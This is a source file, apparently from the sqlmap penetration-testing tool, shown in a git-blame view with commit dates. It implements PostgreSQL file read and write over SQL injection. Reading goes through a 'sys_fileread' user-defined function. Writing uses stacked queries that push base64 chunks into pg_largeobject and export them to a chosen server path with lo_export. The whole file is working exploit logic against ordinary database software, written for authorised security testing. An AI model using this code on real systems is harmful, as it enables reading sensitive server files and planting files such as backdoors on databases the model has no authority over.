sqlmap/plugins/dbms/postgresql/filesystem.py

84 lines
2.9 KiB
Python
Raw Normal View History

2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
"""
2019-01-05 23:38:52 +03:00
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
2017-10-11 15:50:46 +03:00
See the file 'LICENSE' for copying permission
"""
import os
from lib.core.common import randomInt
2019-03-28 18:04:38 +03:00
from lib.core.compat import xrange
2019-06-27 18:28:43 +03:00
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import SqlmapUnsupportedFeatureException
2015-07-24 15:56:45 +03:00
from lib.core.settings import LOBLKSIZE
from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def __init__(self):
self.oid = None
2015-07-24 15:56:45 +03:00
self.page = None
GenericFilesystem.__init__(self)
2019-06-03 11:41:51 +03:00
def stackedReadFile(self, remoteFile):
2019-06-27 18:28:43 +03:00
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
self.initEnv()
2019-06-03 11:41:51 +03:00
return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")
def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
2011-04-30 17:20:05 +04:00
errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique"
raise SqlmapUnsupportedFeatureException(errMsg)
2019-06-03 11:41:51 +03:00
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
localFileSize = os.path.getsize(localFile)
content = open(localFile, "rb").read()
self.oid = randomInt()
2015-07-24 15:56:45 +03:00
self.page = 0
self.createSupportTbl(self.fileTblName, self.tblField, "text")
2011-04-30 17:20:05 +04:00
debugMsg = "create a new OID for a large object, it implicitly "
debugMsg += "adds an entry in the large objects system table"
logger.debug(debugMsg)
# References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
2015-07-24 15:56:45 +03:00
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid)
inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)
2019-06-03 11:41:51 +03:00
for offset in xrange(0, localFileSize, LOBLKSIZE):
2015-07-24 15:56:45 +03:00
fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
inject.goStacked("DELETE FROM %s" % self.fileTblName)
2015-07-24 15:56:45 +03:00
self.page += 1
2011-04-30 17:20:05 +04:00
debugMsg = "exporting the OID %s file content to " % fileType
2019-06-03 11:41:51 +03:00
debugMsg += "file '%s'" % remoteFile
logger.debug(debugMsg)
2019-06-03 11:41:51 +03:00
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True)
2019-06-03 11:41:51 +03:00
written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
2013-01-23 05:27:01 +04:00
return written